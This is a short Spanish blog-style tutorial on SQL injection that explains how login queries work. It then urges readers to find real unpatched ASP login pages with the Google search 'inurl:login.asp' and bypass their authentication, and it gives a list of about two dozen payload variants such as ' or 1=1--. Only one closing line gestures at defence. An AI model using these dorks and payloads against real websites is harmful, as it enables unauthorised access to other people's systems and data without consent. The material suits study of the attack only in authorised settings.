Introducción a la inyección SQL
Una Base de Datos se encuentra conformada por tablas que son manejadas por diferentes operaciones como modificación, inserción o eliminación de registros; estos son realizados mediante código SQL (Structure Query Language). Entonces, la inyección Sql es una técnica que normalmente se realiza a un campo de una aplicación Web (por ejemplo, formularios, validación de usuario, campo de busqueda, etc) o por medio de una URL. Esta técnica te permite el acceso no autorizado a la base de datos e incluso si el nivel de intrusión es mayor se podría a llegar a tener el control del sistema operativo.
Cabe recordar que segun varias encuestas de vulnerabilidades de aplicaciones Web, la inyección SQL, esta entre las tres primeras. También, cada gestor de base de datos tiene su propio lenguaje SQL, sin embargo, las diferencias son mínimas.
Cuando se accede a un portal el query o consulta es la siguiente:
Select username, password from users where username= ‘admin’ and password = ‘1234’
Si los registros recogidos por el dataset (tabla de almacenamiento temporal de la consulta) son mayores a cero accedemos al aplicativo o portal web.
Pero esta consulta puede ser alterada e incluso podremos validarnos sin conocer el usuario y password de acceso a alguna zona restringida de la aplicación. Dado que podremos hacer que la consulta nos devuelva el valor true.
Esta vulnerabilidad fue mas explotado en las primeras versiones de tecnologia asp. A pesar que esta vulnerabilidad a esta tecnologia es conocida aun podemos encontrar en Internet paginas asp sin parchar. Como prueba de concepto puede hacer algo de Google Hacking y buscar este tipo de paginas. Con la siguiente busqueda:
inurl:login.asp
Tienes que tener paciencia y ver cual es vulnerable, en el campo de usuario puedes ingresar cualquier texto en el campo de password el siguiente string ‘ or ‘t’='t si la pagina es vulnerable podras penetrar la autenticacion del site. Ya que el ultimo string devolvera un true de la Base de Datos.
Ejemplo:
usuario: blah
pass: ‘ or ‘t’='t
Aqui les dejamos otras variaciones:
‘ or 0=0 –
” or 0=0 –
or 0=0 –
‘ or 0=0 #
” or 0=0 #
or 0=0 #
‘ or ‘x’='x
” or “x”=”x
‘) or (‘x’='x
‘ or 1=1–
” or 1=1–
or 1=1–
‘ or a=a–
” or “a”=”a
‘) or (‘a’='a
“) or (“a”=”a
hi” or “a”=”a
hi” or 1=1 –
hi’ or 1=1 –
hi’ or ‘a’='a
hi’) or (‘a’='a
hi”) or (“a”=”a
Finalmente, lleguemos a una reflexión ¿seran conscientes los desarrolladores o administradores de estas vulnerabilidades? ¿Estaremos viviendo en una cultura de seguridad? Ustedes deciden.






























